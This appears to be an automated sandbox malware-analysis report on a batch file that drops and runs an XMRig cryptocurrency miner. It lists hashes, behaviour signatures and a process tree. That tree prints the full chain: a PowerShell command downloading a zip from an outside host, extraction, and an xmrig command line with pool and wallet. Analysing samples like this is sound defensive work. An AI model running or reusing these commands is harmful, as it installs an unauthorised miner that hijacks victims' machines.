Analysis

  • max time kernel
    1800s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-11-2023 19:03

General

  • Target

    tesy - Copy (7).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2520
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2540

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0f6a3762a04bbb03336fb66a040afb97

    SHA1

    0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

    SHA256

    36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

    SHA512

    cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qnehsxfa.5pi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1368-12-0x0000026039B50000-0x0000026039B60000-memory.dmp

    Filesize

    64KB

  • memory/1368-11-0x0000026039B50000-0x0000026039B60000-memory.dmp

    Filesize

    64KB

  • memory/1368-10-0x00007FFAF6750000-0x00007FFAF7211000-memory.dmp

    Filesize

    10.8MB

  • memory/1368-13-0x0000026039B50000-0x0000026039B60000-memory.dmp

    Filesize

    64KB

  • memory/1368-17-0x00007FFAF6750000-0x00007FFAF7211000-memory.dmp

    Filesize

    10.8MB

  • memory/1368-0-0x0000026039AF0000-0x0000026039B12000-memory.dmp

    Filesize

    136KB

  • memory/2520-29-0x00007FFAF6750000-0x00007FFAF7211000-memory.dmp

    Filesize

    10.8MB

  • memory/2520-30-0x000001C945D80000-0x000001C945D90000-memory.dmp

    Filesize

    64KB

  • memory/2520-31-0x000001C945D80000-0x000001C945D90000-memory.dmp

    Filesize

    64KB

  • memory/2520-32-0x000001C95E840000-0x000001C95E852000-memory.dmp

    Filesize

    72KB

  • memory/2520-33-0x000001C95E820000-0x000001C95E82A000-memory.dmp

    Filesize

    40KB

  • memory/2520-42-0x00007FFAF6750000-0x00007FFAF7211000-memory.dmp

    Filesize

    10.8MB

  • memory/2540-70-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-81-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-48-0x000001F502BD0000-0x000001F502C10000-memory.dmp

    Filesize

    256KB

  • memory/2540-49-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-50-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-51-0x000001F502C10000-0x000001F502C30000-memory.dmp

    Filesize

    128KB

  • memory/2540-52-0x000001F502C30000-0x000001F502C50000-memory.dmp

    Filesize

    128KB

  • memory/2540-53-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-54-0x000001F502C10000-0x000001F502C30000-memory.dmp

    Filesize

    128KB

  • memory/2540-55-0x000001F502C30000-0x000001F502C50000-memory.dmp

    Filesize

    128KB

  • memory/2540-56-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-57-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-58-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-59-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-60-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-61-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-62-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-63-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-64-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-65-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-66-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-67-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-68-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-69-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-46-0x000001F5011D0000-0x000001F5011F0000-memory.dmp

    Filesize

    128KB

  • memory/2540-71-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-72-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-73-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-74-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-75-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-76-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-77-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-78-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-79-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-80-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-47-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-82-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-83-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-84-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-85-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-86-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-87-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-88-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-89-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-90-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-91-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-92-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-93-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-94-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-95-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-96-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-97-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-98-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-99-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-100-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-101-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-102-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-103-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-104-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-105-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-106-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-107-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-108-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-109-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-110-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-111-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-112-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-113-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB

  • memory/2540-114-0x00007FF67AAD0000-0x00007FF67B5D3000-memory.dmp

    Filesize

    11.0MB